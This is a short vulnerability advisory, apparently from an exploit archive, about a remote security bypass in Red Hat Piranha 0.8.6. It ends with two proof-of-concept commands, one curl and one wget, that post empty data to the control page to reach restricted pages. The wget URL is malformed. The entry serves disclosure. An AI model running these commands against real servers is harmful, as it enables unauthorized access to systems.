source: http://www.securityfocus.com/bid/65587/info

Red Hat Piranha is prone to a remote security bypass vulnerability.

An attacker can exploit this issue to gain unauthorized access to the restricted pages of the application, this may lead to further attacks.

Red Hat Piranha 0.8.6 is vulnerable; other versions may also be affected. 

curl -d'' -I http://www.example.com:3636/secure/control.php 
wget -qO- --post-data='' http://www.example.com3636/secure/control.php